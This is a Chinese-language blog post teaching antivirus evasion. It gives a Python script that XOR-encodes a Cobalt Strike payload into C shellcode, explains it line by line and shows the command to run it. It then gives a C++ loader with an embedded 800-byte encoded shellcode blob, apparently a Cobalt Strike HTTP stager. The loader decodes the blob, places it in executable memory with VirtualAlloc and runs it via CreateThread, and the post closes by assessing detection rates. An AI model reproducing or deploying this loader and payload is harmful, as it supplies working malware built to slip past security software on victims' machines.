编写xor_shellcode.py

前言

本文通过python,将raw文件生成c语言的shellcode,达到一定免杀效果,顺便学习下python

参考倾旋大佬

静态恶意代码逃逸(第一课)

静态恶意代码逃逸(第二课)

python脚本

先上加密脚本看看

import sys
from argparse import ArgumentParser,FileType

def process_bin(num,src_fp,dst_fp,dst_raw):
    shellcode = ''
    shellcode_size = 0
    shellcode_raw = b''
    try:
        while True:
            code = src_fp.read(1)
            if not code:
                break

            baseNum = ord(code) ^ num
            baseNum_str = chr(baseNum)
            shellcode_raw += baseNum_str.encode()
            code_hex = hex(baseNum)
            code_hex = code_hex.replace('0x','')
            if(len(code_hex) == 1):
                code_hex = '0' +code_hex
            shellcode += '\\x' + code_hex
            shellcode_size += 1
        src_fp.close()
        dst_raw.write(shellcode_raw)
        dst_raw.close()
        dst_fp.write(shellcode)
        dst_fp.close()
        return shellcode_size
    except Exception as e:
        sys.stderr.writelines(str(e))

def main():
    parser = ArgumentParser(prog='shellcode X',description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: SD')
    parser.add_argument('-v','--version',nargs='?')
    parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'),required=True)
    parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
    parser.add_argument('-n','--num',help=u'Confused number',type=int,default=90)
    parser.add_argument('-r','--raw',help=u'output bin file',type=FileType('wb'),required=True)
    args = parser.parse_args()
    shellcode_size = process_bin(args.num,args.src,args.dst,args.raw)
    sys.stdout.writelines("[+] shellcode size : {}\n".format(shellcode_size))

if __name__ == "__main__":
    main()

脚本解读:

main函数

argparse:argparse模块可以让人轻松编写用户友好的命令行接口

意思是可以通过这个模块解析python命令行参数,在main函数里通过parser.add_argument来设置

那就先说一下main函数里的命令行设置

parser = ArgumentParser(prog='shellcode X',description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: SD')

这一行是创建解析步骤,有点类似于初始化的的感觉

prog是函数名称,默认是第一个参数

description是描述信息,剩下的参数下次遇到再说

parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'),required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int,default=90)
parser.add_argument('-r','--raw',help=u'output bin file',type=FileType('wb'),required=True)

--version:可以表明版本信息

help:一个此选项作用的简单描述。

type:命令行参数应当被转换成的类型。

requried:此命令行选项是否可省略。

default:当参数未在命令行中出现并且也不存在于命名空间对象时所产生的值。

args = parser.parse_args()

解析参数步骤,像是实例化

然后就是调用上面的函数,将上面的参数传入

process_bin函数

shellcode_raw = b''

字符串前加个b表示字符串中的内容是二进制

code = src_fp.read(1)

每次从文件中读一个字节

baseNum = ord(code) ^ num

ord()把字符传为ascill码值

baseNum_str = chr(baseNum)

chr()把ascill码值转为符号

shellcode_raw += baseNum_str.encode()

encode()以指定形式进行编码

code_hex = hex(baseNum)

hex()转化为16进制

code_hex = code_hex.replace('0x','')

因为转化为16进制后有0x,就把0x替换成空

if(len(code_hex) == 1):
    code_hex = '0' +code_hex
shellcode += '\\x' + code_hex
shellcode_size += 1

就是将16进制数之间加一个\x,生成c语言能识别的shellcode

然后shellcode数量加一

src_fp.close()
        dst_raw.write(shellcode_raw)
        dst_raw.close()
        dst_fp.write(shellcode)
        dst_fp.close()
        return shellcode_size

关闭流,将数据写到文件,返回shellcode大小

然后后面就是抛出异常信息,try expect结构

运行

python .\main.py -s .\payload.bin  -d payload.c -n 10 -r shellcode_raw

 

 用这个shellcode去尝试上线

c++

用最基础的加载方式加载shellcode

#include <iostream>
#include <Windows.h>


// 入口函数
int wmain(int argc, TCHAR* argv[]) {

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
/* length: 800 bytes */

    unsigned char buf[] = "\xf6\x42\x89\xee\xfa\xe2\xc2\x0a\x0a\x0a\x4b\x5b\x4b\x5a\x58\x5b\x5c\x42\x3b\xd8\x6f\x42\x81\x58\x6a\x42\x81\x58\x12\x42\x81\x58\x2a\x42\x81\x78\x5a\x42\x05\xbd\x40\x40\x47\x3b\xc3\x42\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\x4b\xcb\xc3\x07\x4b\x0b\xcb\xe8\xe7\x58\x4b\x5b\x42\x81\x58\x2a\x81\x48\x36\x42\x0b\xda\x6c\x8b\x72\x12\x01\x08\x7f\x78\x81\x8a\x82\x0a\x0a\x0a\x42\x8f\xca\x7e\x6d\x42\x0b\xda\x5a\x81\x42\x12\x4e\x81\x4a\x2a\x43\x0b\xda\xe9\x5c\x42\xf5\xc3\x4b\x81\x3e\x82\x42\x0b\xdc\x47\x3b\xc3\x42\x3b\xca\xa6\x4b\xcb\xc3\x07\x4b\x0b\xcb\x32\xea\x7f\xfb\x46\x09\x46\x2e\x02\x4f\x33\xdb\x7f\xd2\x52\x4e\x81\x4a\x2e\x43\x0b\xda\x6c\x4b\x81\x06\x42\x4e\x81\x4a\x16\x43\x0b\xda\x4b\x81\x0e\x82\x42\x0b\xda\x4b\x52\x4b\x52\x54\x53\x50\x4b\x52\x4b\x53\x4b\x50\x42\x89\xe6\x2a\x4b\x58\xf5\xea\x52\x4b\x53\x50\x42\x81\x18\xe3\x45\xf5\xf5\xf5\x57\x60\x0a\x43\xb4\x7d\x63\x64\x63\x64\x6f\x7e\x0a\x4b\x5c\x43\x83\xec\x46\x83\xfb\x4b\xb0\x46\x7d\x2c\x0d\xf5\xdf\x42\x3b\xc3\x42\x3b\xd8\x47\x3b\xca\x47\x3b\xc3\x4b\x5a\x4b\x5a\x4b\xb0\x30\x5c\x73\xad\xf5\xdf\xe3\x99\x0a\x0a\x0a\x50\x42\x83\xcb\x4b\xb2\x8f\x15\x0a\x0a\x47\x3b\xc3\x4b\x5b\x4b\x5b\x60\x09\x4b\x5b\x4b\xb0\x5d\x83\x95\xcc\xf5\xdf\xe1\x73\x51\x42\x83\xcb\x42\x3b\xd8\x43\x83\xd2\x47\x3b\xc3\x58\x62\x0a\x38\xca\x8e\x58\x58\x4b\xb0\xe1\x5f\x24\x31\xf5\xdf\x42\x83\xcc\x42\x89\xc9\x5a\x60\x00\x55\x42\x83\xfb\xb0\x15\x0a\x0a\x0a\x60\x0a\x62\x8a\x39\x0a\x0a\x43\x83\xea\x4b\xb3\x0e\x0a\x0a\x0a\x4b\xb0\x7f\x4c\x94\x8c\xf5\xdf\x42\x83\xfb\x42\x83\xd0\x43\xcd\xca\xf5\xf5\xf5\xf5\x47\x3b\xc3\x58\x58\x4b\xb0\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8f\x97\x0b\x0a\x0a\x42\xf5\xc5\x05\x8e\x86\x0b\x0a\x0a\xe1\xb9\xe3\xee\x0b\x0a\x0a\xe2\x88\xf5\xf5\xf5\x25\x49\x4c\x60\x60\x0a\x3b\x9a\x00\xb9\x6a\x6c\x10\xb7\x61\xa4\xa8\x6a\xd4\x4b\x2c\xbb\xa4\xbd\x70\xfe\x8c\x94\x04\x67\xa6\x7b\x90\x83\x32\xa5\x2b\x51\xc8\x4b\x8c\x3e\xc1\x41\x6a\x3e\x16\x85\xc8\x43\x8a\xaa\xcc\x54\x50\xe0\xaa\xb0\xa2\x6e\xa0\x96\xf2\x83\xc1\x73\x33\x20\x1f\xba\x49\x38\xd5\x39\x5c\x4d\xa8\x02\x3f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3e\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x32\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3a\x23\x07\x00\x0a\xd2\x35\x15\x63\x8e\xb8\x27\x2a\x1b\xaa\x97\xa5\x6c\x97\xd9\x69\x71\x0e\xe6\xe1\xb0\x26\xba\xbd\x63\x5a\x4b\x5b\xe4\x5a\xfa\x41\x12\x0a\x8b\xd4\xff\x6f\x94\xb6\x21\x8e\x0e\xe8\xc6\x4a\xef\x7a\x92\x04\x1a\x4d\x72\xe0\x08\x83\xcb\xf7\x72\x49\x53\x42\x2d\xc9\xdf\xed\x58\x1f\xf1\x12\x16\x07\x1c\x88\xb1\xb4\xb9\x8a\x11\x5b\x42\xdc\x60\xb0\xd3\x9b\x82\x80\xd1\x8c\x15\x43\xf9\xa3\xd8\xf8\xd0\x29\x54\xfb\xde\x03\x7b\x67\x17\x20\xd1\x43\x1a\xe5\xb2\xb5\x24\xb3\xbe\x9e\x17\x50\x53\x01\xf9\x96\xbf\x2a\x1d\xed\x31\x3e\xd8\xf2\x21\x9f\xd5\xaa\x83\xbb\x86\x5d\xb6\xd1\xa6\xa5\x1b\xf8\x84\xce\x5e\xb4\xcd\x13\xe9\xad\x0c\x84\x64\x64\xa7\xe4\xe2\xe0\x73\x4a\x59\x60\x6d\xbd\xe3\xb2\x85\xff\x04\x19\x83\x48\xe1\xd6\xbe\xee\xba\xb4\xb0\xfd\x76\xae\x20\xf4\xb7\x05\x11\x93\x1d\x7f\xda\x28\xd5\x5e\x0b\x1d\x56\xe9\x9e\x7b\x78\xa5\xce\x6c\x14\x10\xff\x07\x9e\xf1\x5d\x89\x30\x4c\x1d\xc6\x8d\xe0\xce\xca\x98\xed\x8a\xe1\xcc\x63\x1d\x6e\x9b\xae\xf3\x7d\xda\xc3\x6a\x30\x0a\x4b\xb4\xfa\xbf\xa8\x5c\xf5\xdf\x42\x3b\xc3\xb0\x0a\x0a\x4a\x0a\x4b\xb2\x0a\x1a\x0a\x0a\x4b\xb3\x4a\x0a\x0a\x0a\x4b\xb0\x52\xae\x59\xef\xf5\xdf\x42\x99\x59\x59\x42\x83\xed\x42\x83\xfb\x42\x83\xd0\x4b\xb2\x0a\x2a\x0a\x0a\x43\x83\xf3\x4b\xb0\x18\x9c\x83\xe8\xf5\xdf\x42\x89\xce\x2a\x8f\xca\x7e\xbc\x6c\x81\x0d\x42\x0b\xc9\x8f\xca\x7f\xdd\x52\x52\x52\x42\x0f\x0a\x0a\x0a\x0a\x5a\xc9\xe2\x75\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x24\x32\x0a\x18\x3e\x5c\x72";


    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    /* 增加异或代码 */
    for (int i = 0; i < shellcode_size; i++) {
        buf[i] ^= 10;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    // 将shellcode复制到可执行的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;
}

 

 看下免杀效果

 

 基本上还不算是个免杀马

 

 64位的要好一点,大佬写这篇文章的时候是19年12月左右,相比现在过去了一年半了,肯定效果没那么好了

但是现在的免杀shellcode方式手段更多,分离,混淆,甚至修改cs本身,使用其他语言编写效果更好

说白了,现在的免杀是需要"组合技"的

posted @ 2021-05-21 11:24  Punished  阅读(233)  评论(0编辑  收藏  举报